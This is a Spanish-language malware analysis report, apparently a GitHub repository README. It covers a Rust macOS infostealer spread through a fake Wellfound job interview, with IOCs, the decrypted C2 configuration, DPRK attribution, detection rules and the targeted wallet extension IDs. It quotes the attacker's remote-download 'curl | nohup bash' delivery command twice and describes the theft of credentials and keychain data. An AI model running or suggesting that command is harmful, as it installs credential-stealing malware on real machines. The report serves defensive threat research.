
Análisis estático completo del infostealer de Rust para macOS de HyperHives — 571 valores de configuración descifrados, infraestructura C2, atribución a DPRK/Contagious Interview, reglas YARA/Sigma, paquete STIX 2.1, capa de ATT&CK Navigator
Inteligencia de amenazas: Infostealer universal binario de macOS basado en Rust entregado a través de un falso proceso de entrevista de trabajo en Wellfound (anteriormente AngelList). El operador con el alias "Felix" de "HyperHive" engañó a los objetivos para que ejecutaran un instalador malicioso desde
macos.hyperhives.net. Este repositorio documenta el análisis estático completo: 571 valores de configuración cifrados recuperados, incluyendo URLs C2, un DSN de Sentry y 276 IDs de extensiones de Chrome objetivo.
| SHA-256 de la muestra | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| Dominio C2 | cloudproxy.link |
| Dominio de entrega | macos.hyperhives.net |
| Plataforma de señuelo | Wellfound (anteriormente AngelList) |
| Persona del operador | "Felix" en "HyperHive" |
| VirusTotal | 9 / 63 detecciones |
| Clasificación | Divulgación pública / paquete de IOCs |
| Última actualización | Abril 2026 |
| Archivo | Formato | Propósito |
|---|---|---|
iocs.txt | Texto plano | Hashes, dominios, URLs, IPs, correo electrónico, IDs de Sentry — pegar en listas de bloqueo, MISP, OpenCTI |
yara_rules.yar | YARA 4.2+ | Coincidencia de hash de muestra conocida + detecciones heurísticas de cadenas para Mach-O |
sigma_rules.yml | Sigma | Reglas de proxy, DNS y creación de procesos — ajusta logsource para tu SIEM |
stix/bundle.json | STIX 2.1 | Paquete CTI legible por máquina con indicadores, SDO de malware, infraestructura, patrones ATT&CK y relaciones |
attack-navigator-layer.json | ATT&CK Navigator | Importar en ATT&CK Navigator para cobertura visual de técnicas |
. ├── README.md # This report ├── iocs.txt # Flat IOC list ├── yara_rules.yar # YARA detection rules ├── sigma_rules.yml # Sigma detection rules ├── stix/ │ └── bundle.json # STIX 2.1 threat-intelligence bundle ├── attack-navigator-layer.json # ATT&CK Navigator layer ├── output/ │ ├── full_decrypted_config.json # Machine-readable decrypted configuration │ ├── iocs.json # Structured IOC export │ ├── c2_protocol.txt # C2 protocol field documentation │ ├── cargo_dependencies.txt # Embedded Rust crate list (97 crates) │ ├── source_map.txt # Reconstructed source-file layout │ └── targets.txt # Targeted applications and data paths ├── scripts/ │ ├── decrypt_all.py # Definitive config decryptor (Unicorn emulation) │ ├── analyze.py # Static analysis driver │ ├── extract_all.py # String and structure extractor │ ├── r2_analyze.py # Radare2 analysis automation │ ├── r2_targeted.py # Targeted R2 analysis for helpers │ └── validate_repo.py # CI validation script ├── sample/ │ └── README.md # Instructions for sample placement ├── Dockerfile # Analysis container image ├── docker-compose.yml # Air-gapped compose config ├── lab.sh # Helper script for Docker lab ├── SECURITY.md # Safe handling and vulnerability reporting ├── CONTRIBUTING.md # Contribution guidelines ├── CHANGELOG.md # Release history ├── LICENSE # MIT └── .github/ ├── workflows/validate.yml # CI: YARA + Sigma + file checks ├── ISSUE_TEMPLATE/ # Structured issue forms └── PULL_REQUEST_TEMPLATE.md # PR checklist
---
## Inicio rápido
Coloca la muestra como `sample/installer_binary` (consulta [`sample/README.md`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/sample/README.md) para verificar el hash), luego:```bash
docker compose build
docker compose run --rm lab python3 /lab/scripts/decrypt_all.py
El archivo compose impone network_mode: none, read_only: true, y elimina todas las capacidades de Linux. Consulte SECURITY.md para las pautas completas de manejo.
Una oferta de trabajo en Wellfound (anteriormente AngelList) llevó a una cadena de ingeniería social de múltiples correos electrónicos desde una persona operativa "Felix" en "HyperHive". Después de halagar los antecedentes técnicos del objetivo y programar una entrevista falsa, el atacante dirigió a la víctima a "revisar el producto" en hyperhives.net y examinar específicamente Configuración → Diagnóstico → Registro — un pretexto para desencadenar la ejecución de:```
curl -s https://macos.hyperhives.net/install | nohup bash &
La carga útil es un **binario universal Mach-O de 8.5 MB** (x86_64 + arm64) compilado en Rust. El análisis estático con un laboratorio Docker aislado y emulación de CPU de **570 rutinas auxiliares x86_64 únicas** recuperó **todos los 571 valores de configuración cifrados**, exponiendo:
- **C2:** `cloudproxy.link` — cuatro endpoints HTTPS
- **Sentry (pivote de atribución):** DSN completo con ID de org/proyecto en `ingest.de.sentry.io`
- **Identidad de compilación:** Usuario de Cargo `rootr`, nombre en clave `force`, versión `9.12.1`
- **Objetivos:** 276 ID de extensiones de Chrome (billeteras cripto, gestores de contraseñas, credenciales corporativas)
Las tácticas se alinean con las campañas **Contagious Interview vinculadas a RPDC** — reclutamiento falso en plataformas legítimas, construcción de confianza en múltiples pasos, entrega `curl | bash`, ladrón de macOS en Rust y exfiltración centrada en criptomonedas.
---
## 1 — Cómo empezó
### El señuelo: entrevista de trabajo falsa en Wellfound
El ataque comenzó con una **publicación de trabajo de aspecto legítimo en Wellfound** (antes AngelList). Después de que el objetivo se postulara, se produjo la siguiente cadena de correos electrónicos por parte de un operador que utilizaba la personalidad **"Felix"** y el nombre de empresa **"HyperHive"**:
**Correo 1** (4 de abril de 2026) — Contacto inicial. "Felix" reconoció el CV y LinkedIn del objetivo, afirmó que su "Tech Lead" aprobó seguir adelante y mencionó específicamente la experiencia técnica real del objetivo. El correo decía que HyperHive estaba "construyendo la versión de escritorio de Hyperhives en diferentes sistemas operativos" e invitó al objetivo a programar una entrevista en UTC+0.
**Correo 2** (5 de abril de 2026) — Programación de seguimiento. Propuso un horario de entrevista específico (8 de abril a las 15:00 UTC) e incluyó la instrucción crítica de entrega de carga útil:
> *"Si puede, por favor eche un vistazo rápido al registro del producto en **Configuración → Diagnóstico → Registro**. Es posible que solicitemos algunos comentarios breves sobre el registro y cualquier otra observación del producto que note, ya que esto suele ser una buena señal de experiencia en ingeniería y atención al detalle."*
Esto dirigió al objetivo a `https://hyperhives.net`, donde navegar a la sección de diagnóstico desencadenó:```
curl -s https://macos.hyperhives.net/install | nohup bash &
El comando descargó y ejecutó un binario universal Mach-O de 8,5 MB. Apareció un falso diálogo de contraseña de macOS mediante AppleScript. No se introdujo la contraseña. Los procesos fueron terminados inmediatamente y la muestra se conservó para su análisis.
| Elemento | Detalle |
|---|---|
| Plataforma | Wellfound (AngelList) — bolsa de trabajo legítima |
| Nombre de empresa | "HyperHive" (singular) / dominio hyperhives.net |
| Persona | "Felix" |
| Correo de contacto | [email protected] |
| Generación de confianza | Referencia al CV real, LinkedIn y habilidades técnicas específicas del objetivo |
| Pretexto | "Revise el producto antes de la entrevista" |
| Desencadenante de carga útil | "Check Settings → Diagnostics → Log" en hyperhives.net |
| Agendamiento | Falsa entrevista (8 de abril, 15:00 UTC) para mantener la urgencia |
| Cadena de múltiples pasos | Al menos 2 correos en 2 días antes de la entrega de la carga útil |
| Propiedad | Valor |
|---|---|
| Archivo | installer_binary |
| Tamaño | 8.504.768 bytes |
| Formato | Mach-O Universal (x86_64 + arm64) |
| SHA-256 | 5c7385c3a4d919d30e81d851d87068dfcc4d9c5489f1c2b06da6904614bf8dd3 |
| SHA-1 | 2de897066c2fc7db91da78d7f9ded99237345077 |
| MD5 | 0e95ab4038ec48657563c96bed840dd5 |
| Compilador | rustc 1.87.0 (stable) |
| Usuario de compilación | rootr (de la ruta incrustada /Users/rootr/.cargo/registry/...) |
| Nombre clave de compilación | force |
| Versión de compilación | 9.12.1 |
| Seguimiento de errores | Sentry Rust SDK v0.36.0 |
| Número de crates | 97 (ver output/cargo_dependencies.txt) |
La muestra demuestra ingeniería de nivel de producción: versionado semántico, integración con Sentry para fiabilidad operativa y una gran configuración incrustada cifrada con 570 funciones auxiliares únicas.
Informe completo — 9 / 63 motores detectaron en el momento del envío inicial (abril de 2026). Más del 85% de los motores no lograron detectar esta muestra.
| Motor | Nombre de detección |
|---|---|
| Kaspersky | HEUR:Trojan-PSW.OSX.HashBreaker.e |
| DrWeb | Mac.PWS.JobStealer.1 |
| ESET-NOD32 | OSX/PSW.Agent.BX Trojan |
| Microsoft | Trojan:MacOS/Stealer!AMTB |
| Avast / AVG | MacOS:Stealer-BU [Trj] |
| Elastic | Malicious (high Confidence) |
| Cynet | Malicious (score: 99) |
| SentinelOne | Static AI - Suspicious Mach-O |
Nombres de familia notables de proveedores para referencias cruzadas: HashBreaker (Kaspersky), JobStealer (DrWeb), PSW.Agent.BX (ESET), Stealer-BU (Avast/AVG).
No detectado por: BitDefender, CrowdStrike Falcon, Sophos, Symantec, McAfee, Malwarebytes, TrendMicro, Fortinet, ClamAV, Panda y otros 44 motores. Esta baja tasa de detección subraya la eficacia operativa del enfoque Rust + ofuscación personalizada utilizado en esta campaña.
Las tasas de detección cambian a medida que los proveedores actualizan las firmas. Consulte el informe de VirusTotal para obtener resultados actuales.
| Navegador | Ruta de datos | Entrada de llavero |
|---|---|---|
| Chrome | Google/Chrome | Chrome Safe Storage |
| Brave | BraveSoftware/Brave-Browser | Brave Safe Storage |
| Opera | predeterminada | Opera Safe Storage |
| Opera GX | predeterminada | Opera Safe Storage 2023 |
| Vivaldi | predeterminada | Vivaldi Safe Storage |
| Microsoft Edge | predeterminada | Microsoft Edge Safe Storage |
| Arc | Arc/User Data | — |
| CocCoc | predeterminada | CocCoc Safe Storage |
Tipos de datos robados: contraseñas, tarjetas de crédito, cookies, tokens de sesión, autocompletado, historial de navegación.
login.keychain-db) — requiere la contraseña de usuario obtenida mediante el diálogo falsoIOPlatformExpertDevice / IOPlatformUUID, reportados como hardwares al C2tdata para la toma total de cuentasSegmentación exhaustiva de extensiones de navegador para carteras, incluyendo MetaMask, Phantom, Trust Wallet, Ronin, Exodus, OKX, Bybit, Bitget, SubWallet, Ledger Live y Trezor Suite. Mapeo completo en Sección 8 y output/full_decrypted_config.json.
| Producto | IDs de extensión (ejemplos) |
|---|---|
| 1Password | aeblfdkhhhdcdjpifhhbdiojplfjncoa, khgocmkkpikpnmmkgmdnfckapcdkgfaf, gejiddohjgogedgjnonbofjigllpkmbf |
| ProtonPass | ghmbeldphafepmbegfdlkpapadhbakde |
| Dashlane | fdjamakpfbbddfjaooikfcpapjohcfmg |
| Deloitte Credentials | Almacén corporativo de credenciales |
| Característica | Detalle |
|---|---|
| Detección de VM | Indicador is_vm en JSON de C2 |
| Modo forzado | Indicador remoto force_mode de anulación |
| Bypass de Gatekeeper | xattr -c en el binario descargado |
| Conocimiento de VPN | Mensaje de error "Please use VPN and retry" |
Datos organizados bajo ~/Documents/temp_data/Application/, comprimidos en ZIP, subidos mediante multipart/form-data sobre HTTPS. IP de la víctima y geolocalización resueltas mediante https://freeipapi.com/api/json.
| Endpoint | Rol |
|---|---|
https://cloudproxy.link/m/opened | Beacon / activación |
https://cloudproxy.link/m/metrics | Telemetría |
https://cloudproxy.link/m/decode | Canal de instrucciones / configuración |
https://cloudproxy.link/db/debug | Depuración / diagnósticos |
| Componente | Valor |
|-----------|-------|
| **Clave pública** | `526eff9f8bb7aafd7117ca5e33a6a183` |
| **ID de organización** | `4509139651198976` |
| **ID de proyecto** | `4509422649213008` |
| **Región** | UE — `ingest.de.sentry.io` |
El proceso legal con Sentry puede recuperar detalles de registro de cuentas, registros de facturación y metadatos de acceso vinculados a esta organización/proyecto.
### API de geolocalización
`https://freeipapi.com/api/json` — IP de la víctima / país para JSON de C2 (`ipAddress`, `countryCode`).
### Protocolo de exfiltración C2
| Campo | Función |
|-------|---------|
| `buildName` / `buildVersion` | `force` / `9.12.1` |
| `uid`, `log_id` | Identificadores de víctima/sesión |
| `ip`, `geo` | De la API de geolocalización |
| `pers_password` | Contraseña del diálogo falso |
| `passwords`, `wallets`, `credits`, `autofills` | Material robado |
| `is_vm`, `hardwares`, `force_mode` | Indicadores de entorno/control |
Método de subida: `multipart/form-data`, `application/zip`, cadena de conexión `UPLD connect`.
---
## 5 — Atribución
### Indicadores de compromiso
| Indicador | Valor | Fuente |
|-----------|-------|--------|
| Plataforma de señuelo | Wellfound (AngelList) | Reporte de la víctima |
| Personaje del operador | "Felix" en "HyperHive" | Correos de señuelo |
| Sitio web de señuelo | `hyperhives.net` | Correos de señuelo |
| Correo del remitente | `[email protected]` | Correos de señuelo |
| Dominio de entrega | `macos.hyperhives.net` | Descarga del payload |
| IP de entrega | `81.28.12.12` (Gcore CDN) | Resolución DNS |
| Registrador / correo | Tucows; Spacemail | WHOIS / MX |
| **Dominio C2** | **`cloudproxy.link`** | **Descifrado de la muestra** |
| **DSN de Sentry** | Ver [Sección 4](#sentry-dsn-operator-fingerprint) | **Descifrado de la muestra** |
| Usuario de compilación | `rootr` | Rutas Cargo incrustadas |
| SHA-256 de la muestra | `5c7385c3...bf8dd3` | Hash del archivo |
### Alias del desarrollador: `rootr`
Ruta incrustada `/Users/rootr/.cargo/registry/`. OSINT sobre el alias — [github.com/rootr](https://github.com/rootr) (a fecha del análisis): empresa listada "RootR", ubicación Ginebra, cuenta creada el **2024-06-27**, cero repositorios públicos. Consistente con un perfil desechable u operativo.
### DPRK / Contagious Interview (evaluación analítica)
| TTP | Esta muestra | Patrón informado asociado a DPRK |
|-----|-------------|--------------------------------|
| **Reclutamiento falso en plataforma legítima** | Publicación en Wellfound (AngelList) → cadena de correos con "Felix" | Contagious Interview: alcance de reclutadores falsos en LinkedIn, Indeed, Wellfound |
| **Ingeniería social de múltiples pasos** | 2+ correos haciendo referencia a un CV real, programando una entrevista falsa | Generar confianza antes del payload; documentado en múltiples campañas de DPRK |
| **Pretexto de revisión de producto / prueba de código** | "Ve a Configuración → Diagnóstico → Registro" | Pretextos de "Revisa nuestro proyecto" / "ejecuta esta prueba de código" |
| `curl \| bash` como entrega | One-liner de instalación desde `macos.hyperhives.net` | Vector común de ingeniería social en macOS |
| Binario universal Rust Mach-O | rustc 1.87.0, x86_64 + arm64 | Clústeres similares a RustDoor / RustBucket |
| Diálogo falso de contraseña | AppleScript `osascript` | Documentado en campañas relacionadas de macOS |
| Gran conjunto objetivo de carteras cripto | 276 IDs de extensión, 188 nombres de carteras | Motivación financiera consistente con la generación de ingresos de DPRK |
**Confianza:** **alta** por la alineación temática y de TTP. El pipeline de oferta de trabajo falsa en Wellfound, la cadena de confianza de múltiples correos, el pretexto de revisión de producto, el stealer Rust para macOS y el enfoque en carteras de criptomonedas coinciden estrechamente con el manual de Contagious Interview. Esta es una evaluación analítica, no una declaración de atribución gubernamental o de las fuerzas del orden.
---
## 6 — Criptoanálisis
Las cadenas de configuración están protegidas por un **cifrado XOR personalizado**: 570 pequeñas funciones auxiliares x86_64 (rango de código `0x10000`–`0x15000`) cada una calcula un desplazamiento único de 16 bits a partir de `(data_ptr, seed)`. El desplazamiento indexa en el binario para producir una clave XOR de 32 bytes aplicada al bloque de texto cifrado correspondiente.
### Enfoques que fallaron
| Método | Resultado |
|--------|-----------|
| Barridos XOR ingenuos | Sin texto plano coherente |
| Adivinación de clave AES / PBKDF2 | No se encontró programa de claves |
| Emulación Unicorn de todo el binario del runtime de Rust | La complejidad del flujo de control causó divergencia |
### Enfoque que tuvo éxito
1. **Escanear** instrucciones `LEA` relativas a RIP dirigidas a la región de configuración (`0x2b8000`–`0x2bc000`).
2. **Analizar** el código precedente para extraer `(dirección_función_auxiliar, puntero_datos, seed)`.
3. **Emular** cada función auxiliar de forma aislada usando [Unicorn Engine](https://www.unicorn-engine.org/) (máximo 200 instrucciones).
4. **Descifrar con XOR** el bloque de 32 bytes en la dirección objetivo usando la clave en el desplazamiento calculado.
5. **Extender** para cadenas de múltiples bloques (URLs, DSN) y entradas de metadatos OR+XOR.
**Cobertura:** 381 bloques XOR + 190 entradas de metadatos OR+XOR = **571 valores de configuración recuperados** en 1.1 segundos. Cero entradas cifradas no recuperadas.
**Implementación:** [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py)
---
## 7 — Mapeo MITRE ATT&CK
> Importa [`attack-navigator-layer.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/attack-navigator-layer.json) en [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) para una vista interactiva.
| Técnica | ID | Uso en esta muestra |
|---------|----|---------------------|
| Phishing | T1566 | Correo de ingeniería social desde `[email protected]` |
| Ejecución de usuario: Archivo malicioso | T1204.002 | `curl \| bash` desde el señuelo |
| Intérprete de comandos y scripts: AppleScript | T1059.002 | Diálogo falso de contraseña, exfiltración de Apple Notes |
| Intérprete de comandos y scripts: Shell Unix | T1059.004 | Ejecución inicial mediante bash canalizado |
| Credenciales de almacenes de contraseñas: Llavero | T1555.001 | Extracción del llavero de inicio de sesión |
| Credenciales de almacenes de contraseñas: Credenciales de navegadores web | T1555.003 | Descifrado de Login Data de Chromium |
| Robo de cookie de sesión web | T1539 | Robo de cookies y tokens del navegador |
| Datos del sistema local | T1005 | Carteras, Telegram, Notas, autocompletado |
| Archivar datos recopilados | T1560 | Preparación ZIP en `~/Documents/temp_data/` |
| Exfiltración a través de canal C2 | T1041 | POST HTTPS a `cloudproxy.link` |
| Protocolo de capa de aplicación: Protocolos web | T1071.001 | C2 HTTPS con cuatro endpoints |
| Evasión de virtualización/sandbox | T1497 | Indicador `is_vm` |
| Archivos o información ofuscados | T1027 | 570 funciones XOR auxiliares |
| Captura de entrada | T1056 | Diálogo falso de contraseña |
| Descubrimiento de información del sistema | T1082 | Recopilación de ID de hardware y versión del SO |
| Descubrimiento de configuración de red del sistema | T1016 | Geolocalización `freeipapi.com` |
| Subversión de controles de confianza: Evasión de Gatekeeper | T1553.001 | `xattr -c` en el binario descargado |
---
## 8 — Referencia de carteras e IDs de extensiones
Se recuperaron 188 nombres de carteras y **276 IDs únicos** de extensiones Chrome de 32 caracteres. La siguiente tabla muestra objetivos de alto perfil; la lista completa está en el [Apéndice A](#apéndice-a--los-276-ids-de-extensiones-chrome) y en `output/full_decrypted_config.json`.
| Cartera | ID de extensión |
|---------|-----------------|
| MetaMask | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
| Phantom | `bfnaelmomeimhlpmgjnjophhpkkoljpa` |
| Trust Wallet | `egjidjbpglichdcondbcbdnbeeppgdph` |
| Ronin | `fnjhmkhhmkbjkkabndcnnogagogbneec` |
| Exodus Web3 | `aholpfdialjgjfhomihkjbmgjidlcdno` |
| OKX | `mcohilncbfahbmgdjkbpemcciiolgcge` |
| Bybit | `pdliaogehgdbhbnmkklieghmmjkpigpa` |
| Bitget | `jiidiaalihmmhddjgbnbgdfflelocpak` |
| SubWallet | `onhogfjeacnfoofkfgppdlbmlmnplgbn` |
| Coinbase Wallet | `hnfanknocfeofbddgcijnmhnfnkdnaad` |
**Carteras de escritorio:** Los directorios de datos de Ledger Live y Trezor Suite también son objetivo.
**Importante:** Estos IDs de extensión identifican **extensiones de navegador legítimas** cuyos datos locales el malware selecciona para robar. **No** son extensiones maliciosas.
---
## 9 — Acciones recomendadas
### Para posibles víctimas
- **No** ejecutes one-liners desconocidos de `curl | bash`
- Rota todas las credenciales almacenadas en el navegador, claves de carteras cripto y contraseñas maestras de gestores de contraseñas si estuvieron expuestas
- Verifica la presencia de `~/Documents/temp_data/` en el disco
- Reporta a las autoridades locales y al CERT nacional correspondiente (por ej., IC3, NCSC)
### Para defensores
- **Bloquea** `macos.hyperhives.net`, `cloudproxy.link` y `81.28.12.12` (verifica el impacto de hosting compartido antes de bloquear IP)
- **Busca** tráfico HTTPS hacia `cloudproxy.link` y consultas DNS para ambos dominios
- **Implementa** las reglas YARA y Sigma de este repositorio (ajústalas a tu entorno)
- **Compara** las extensiones de Chrome instaladas con la lista de 276 IDs (las extensiones son legítimas — el malware lee sus datos locales)
- **Importa** `stix/bundle.json` en tu plataforma CTI (MISP, OpenCTI, ThreatConnect, etc.)
### Para investigación legal
| Objetivo | Qué solicitar |
|----------|---------------|
| Sentry | Registros de cuenta y facturación para la org `4509139651198976` |
| Registradores de dominio | Registros WHOIS de `cloudproxy.link` y `hyperhives.net` |
| CDN de Gcore | Registros de acceso para `81.28.12.12` |
| Proveedor de correo | Registros de cuenta para `[email protected]` |
| GitHub | Metadatos de cuenta para `rootr` |
---
## 10 — Metodología
El análisis se realizó en un **contenedor Docker** con:
- `network_mode: none` (sin conectividad saliente)
- `read_only: true` (sistema de archivos raíz inmutable)
- Todas las capacidades de Linux eliminadas (`cap_drop: ALL`)
- Opción de seguridad `no-new-privileges`
Herramientas: Python (LIEF, Unicorn Engine, Capstone, r2pipe), Radare2 y scripts personalizados. No se realizó ejecución dinámica del malware — todos los hallazgos derivan del análisis estático y la emulación aislada de CPU de funciones auxiliares individuales.
Artefactos verificados: [`scripts/decrypt_all.py`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/scripts/decrypt_all.py), [`output/full_decrypted_config.json`](https://github.com/darksp33d/hyperhives-macos-infostealer-analysis/blob/main/output/full_decrypted_config.json).
---
## Apéndice A — Los 276 IDs de extensiones Chrome
La configuración del malware hace referencia a estos IDs de extensión (rutas de almacenamiento local / LevelDB en perfiles de usuario). **Estos IDs identifican extensiones legítimas seleccionadas para el robo de datos, no extensiones maliciosas.**```
abkahkcbhngaebpcgfmhkoioedceoigp abogmiocnneedmmepnohnhlijcjpcifd
acmacodkjbdgmoleebolmdjonilkdbch aeachknmefphepccionboohckonoeemg
aeblfdkhhhdcdjpifhhbdiojplfjncoa afbcbjpbpfadlkmhmclhkeeodmamcflc
afccgfbnbpgfdokbllhiccepgggofoco aflkmfhebedbjioipglgcbcmnbpgliof
agoakfejjabomempkjlepdflaleeobhb ahkpfejaeoepmfopmbhjgjekibmfcfgo
aholpfdialjgjfhomihkjbmgjidlcdno aiifbnbfobpmeekipheeijimdpnlpgpp
aijcbedoijmgnlmjeegjaglmepbmpkpi ajofhbfomojicfifgoeeimefklkfdkfn
ajopcimklncnhjednieoejhkffdolemp akckefnapafjbpphkefbpkpcamkoaoai
akkmagafhjjjjclaejjomkeccmjhdkpa algblmhagnobbnmakepomicmfljlbehg
amdcajcnofodjpgbbdnnjkffamfnidae amkmjjmmflddogmhpjloimipbofnfjih
ammjlinfekkoockogfhdkgcohjlbhmff anokgmphncpekkhclmingpimjmcooifb
aodkkagnadcbobfpggfnjeongemjbjca aoedbjimepepemdafoodplnknfkmbnle
apgjfbcibghlclbdiipmojppngeilcol bbjmepflljbbfaehppakknfgdnojoled
bccippoanbhflmokhkbkepmhmndijenh bcpialkijhffpgnmgjhjmdeabdbbfmbo
bdgmdoedahdcjmpmifafdhnffjinddgc bfeplaecgkoeckiidkgkmlllfbaeplgm
bflldjbbpcjgooclhpmhdhioebmnnkcm bfnaelmomeimhlpmgjnjophhpkkoljpa
bgjogpoidejdemgoochpnkmdjpocgkha bhhhlbepdkbapadjdnnojkbgioiodbic
bhmbcdekobebkhmloafbjfdcphbmpcnm bidcmgjdfgkagkleecdockomdjlgglbg
bifidjkcdpgfnlbcjpdkdcnbiooooblg blnieiiffboillknjnepogjhkgnoapac
bmkakpenjmcpfhhjadflneinmhboecjf bmmhjnaohafphhlecmkkiaaglcebcapn
bodadjcgfgigmmnambomndppidgdjlni bplepbelihejfpcjoeialhjpamgpnfln
caalbmclnkldkcgcdkfiapoopikbofnl cgeeodpfagjceefieflmdfphplkenlfk
cihmoadaighcejopammfbmddcmdekcje ciojocpkclfflombbcfigcijjcbkmhaf
cjelfplplebdjjenllpjcblmjkfcffne ckklhkaabbmdjkahiaaplikpdddkenic
cmbagcoinhmacpcgmbiniijboejgiahi cmoakldedjfnjofgbbfenefcagmedlga
cnmbailpgmdagpofalkeoeooefdkjfdl cnncmdhjacpkmjmkcafchppbnpnhdmon
cnoepnljjcacmnjnopbhjelpmfokpijm codfcglpplgmmlokgilfkpcjnmkbfiel
cpmkedoipcpimgecpmgpldfpohjplkpp dbgnhckhnppddckangcjbkjnlddbjkna
dcbjpgbkjoomeenajdabiicabjljlnfp dfbacijefbcabjnngipfnbhcpoldlkcg
dkdedlpgdmmkkfjabffeganieamfklkm dlcobpjiigpikoobohmabehhmhfoodbb
dldjpboieedgcmpkchcjcbijingjcgok dmjmllblpcbmniokccdoaiahcdajdjof
dngmlblcodfobpdpecaadgfbcggfjfnm dpcklmdombjcplafheapiblogdlgjjlb
dpdmipjakdiapplcecdmgckknipnfjph dpealdfjgahljjdekeiadjnfgpijffhg
dpmfhilhjlhhakpbieclcghochdofeao eaeecbmeajhliilmacefcgjnnijkkfki
ebaeifdbcjklcmoigppnpkcghndhpbbm ebfidpplhabeedpnhjnobghokpiioolj
efbglgofoippbgcjepnhiblaibcnclgk egjidjbpglichdcondbcbdnbeeppgdph
ehgjhhccekdedpbkifaojjaefeohnoea ehjiblpccbknkgimiflboggcffmpphhp
ejbalbakoplchlghecdalmeeeajnimhm ejbidfepgijlcgahbmbckmnaljagjoll
ejdmhlhkcfbkcoifejkcbonhodkgflgg ejjladinnckdgjemekebdpeokbikhfci
elalghlhoepcjfaedkcmjolahamlnjcp eljobehkpcnpekmbcjiidekjhkbcnpkf
ellkdbaphhldpeajbepobaecooaoafpg emafjfadeeammocialbgjbaeldmpddne
emeeapjkbcbpbpgaagfchmcgglmebnen emgcpdnckldpdhjgmkeeahfaokmhgpab
enabgbdfcbaehmbigakijjabdpdnimlg epapihdplajcdnnkdeiahlgigofloibg
fajmdbbmcncahahilpfdiacamedmgdlk fbplgegfggencanbeceipjpanlmgpkfi
fcckkdbjnoikooededlapcalpionmalo fcfcfllfndlomdhbehjjcoimbgofdncg
fcjkomdnccnlklmhncgmaehaakjkddnk fdchdcpieegfofnofhgdombfckhbcokj
fdcnegogpncmfejlfnffnofpngdiejii fdjamakpfbbddfjaooikfcpapjohcfmg
fhbohimaelbohpjbbldcngcnapndodjp fhilaheimglignddkjgofkcbgekhenbh
fhmmkjofdcpnoklcbcnbjjhigobceikb fihkakfobkmkjojpchpfgcmhfjnmnfpi
fijngjgcjhjmmpcmkeiomlglpeiijkld fjghjobbfggoacelnibacipoilennobn
fldfpgipfncgndfolcbkdeeknbbbnhcc fmpbldieijjehhalgjblbpgjmijencll
fnabdmcgpkkjjegokfcnfbpneacddpfh fnjhmkhhmkbjkkabndcnnogagogbneec
fnnegphlobjdpkhecapkijjdkgcjhkib fopmedgnkfpebgllppeddmmochcookhc
fpibioaihcagphbidhodidjbnclocgll fpkhgmpbidmiogeglndfbkegfdlnajnf
gbjepgaebckfidagpfeioimheabiohmg gdokollfhmnbfckbobkdbakhilldkhcj
gejiddohjgogedgjnonbofjigllpkmbf ghihpcdpbjaaomhlfnhdlocimojkinpm
ghlmndacnhlaekppcllcpcjjjomjkjpg ghmbeldphafepmbegfdlkpapadhbakde
gjlmehlldlphhljhpnlddaodbjjcchai gkeelndblnomfmjnophbhfhcjbcnemka
gkhnjcpkikkkfhhdhhphcbhmkikoicgn gkpbmnplcjdnnmmiaaphofhdiicdhfah
glhefpglgefbmegkpjkdgoikologepdl hbbgbephgojikajhfbomhlmmollphcad
hbdheoebpgogdkagfojahleegjfkhkpl hbinmkhlebcnghpikoekkbeljbealbje
hbneiaclpaaglopiogfdhgccebncnjmc hbnpcbochkgodkmmicbhfpmmkhbfbhim
hddkffjleepiafmkhcneldjipkfkkofk hdokiejnpimakedhajhdlcegeplioahd
heefohaffomkkkphnlpohglngmbcclhi hgbeiipamcgbdjhfflifkgehomnmglgk
hgnpaljkalilofmmbhgkkldbdbogddlo hifafgmccdpekplomjjkcfgodnhcellj
hlbmghfhijdlnllnnnakmcagdfhhkfna hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad hnhobjmcibchnmglfbldbfabcgaknlkj
hpbgcgmiemanfelegbndmhieiigkackl hpclkefagolihohboafpheddmmgdffjm
hpglfhgfnhbgpjdenjgmdgoeiappafln hpjiiechbbhefmpggegmahejiiphbmij
ibjflpbmadchofnbpppegdbnifdgincp ibljocddagjghmlpgihahamcghfggcjc
ibnejdfjmmkpcnlpebklmnkoeoihofec icmkfkmjoklfhlfdkkkgpnpldkgdmhoe
idnnbdplmphpflfnlkomgpfbpcgelopg idpfplgehakelkdadhcacicjjbemjbke
ifckdpamphokdglkkdomedpdegcjhjdp ifclboecfhkjbpmhgehodcjpciihhmif
ifgjklbmlnimhldbmddmkdhoahfocppf ikcpjgihikfinlkobegiiogdigohmfam
ilhaljfiglknggcoegeknjghdgampffk imlcamfeniaidioeflifonfjeeppblda
iokeahhehimjnekafflcihljlcjccdbe jaooiolkmfcmloonphpiiogkfckgciom
jbdaocneiiinmjbjlgalhcelgbejmnid jccapkebeeiajkkdemacblkjhhhboiek
jfdlamikmbghhapbgfoogdffldioobgl jfflgdhkeohhkelibbefdcgjijppkdeb
jhjebgdkdemiibiibgickfkilfpbelaj jhnilbocebbmeelaolalihfokjgdmogb
jicpmdkafljkkppgpellcjhfhdmjpogm jiepnaheligkibgcjgjepjfppgbcghmp
jiidiaalihmmhddjgbnbgdfflelocpak jjkhekbaikcnpnhflnnlnbonkkobkiim
jljjeghmeihjegifdhbghcoihdiegkkl jmgipjhlmabpmcikcahmmgleghckefjg
jnggcdmajcokeakpdeagdhphmkioabem jnldfbidonfeldmalbflbmlebbipcnle
jnlgamecbpmbajjfhmmmlhejkemejdma jojhfeoedkpkglbfimdfabpdfjaoolaf
kdgponmicjmjiejhifbjgembdcaclcib keenhcnmdmjjhincpilijphpiohdppno
kfdniefadaanbjodldohaedphafoffoh kgdijkcfiglijhaglibaidbipiejjfdp
khgocmkkpikpnmmkgmdnfckapcdkgfaf khpkpbbcccdmmclmpigdgddabeilkdpd
kilnpioakcdndlodeeceffgjdpojajlo kjjebdkfeagdoogagbhepmbimaphnfln
kkpehldckknjffeakihjajcjccmcjflh kkpllbgjhchghjapjbinnoddmciocphm
kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl
